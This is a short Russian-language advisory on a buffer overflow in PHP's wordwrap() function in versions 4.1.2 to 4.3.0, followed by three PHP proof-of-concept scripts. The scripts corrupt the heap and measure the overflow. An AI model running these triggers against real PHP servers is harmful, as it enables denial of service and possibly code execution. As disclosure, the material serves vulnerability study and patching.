Обнаружено переполнение буфера в PHP функции "wordwrap" в PHP версиях выше 4.1.2 и ниже 4.3.0.
Если параметры к функции wordwrap() передаются из пользовательского ввода, то уязвимость может использоваться удаленно для выполнения произвольного кода или DoS атаки. По сообщением, успешная эксплуатация для выполнения произвольного кода затруднительна, но теоретически возможна. Несколько работающих эксплоитов:
1.
<?php
$x = "ADV:CLAIM YOUR FORTUNE NOW !!MAKE";
$x .= " xxxxxxxxxxHUNDREDS OF THOUSANDSxxxxxxxxxxxx";
$b = "CANITBREAKFOO";
$x = wordwrap($x, 21, $b, 1);
$x = wordwrap($x, 21, $b, 1);
?>
2.
<?php
$x = "ADV:CLAIM YOUR FORTUNE NOW !!MAKE";
$x .= " xxxxxxxxxxHUNDREDS OF THOUSANDSxxxxxxxxxxxx";
$b = "CANITBREAKFOO";
for ($i=0; $i<1000; $i++) {
$y = wordwrap($x, 20, $b, 1);
}
?>
3.
<?php
$part = "1234567890 X ";
$string = "";
for ($i=0; $i<10; $i++) {
$string .= $part;
}
$break = "a-very-long-break-string-to-clobber-the-heap";
for ($i=0; $i<8; $i++) {
$break .= $break;
}
$linelength = 10;
$wrapped = wordwrap($string, $linelength, $break, 1);
$textlen = strlen($string);
print("Length of original string: $textlen\n");
$breakcharlen = strlen($break);
print("Length of break string: $breakcharlen\n");
$newtextlen = strlen($wrapped);
print("Length of wrapped string: $newtextlen\n");
$buffer = $textlen +
intval(($textlen/$linelength + 1) * $breakcharlen * 1.1) + 1;
print("Size allocated by 4.3.0RC2: $buffer\n");
$overflow = $newtextlen - $buffer;
if ($overflow > 0) {
print ("BUFFER OVERFLOW by $overflow bytes!\n");
}
?>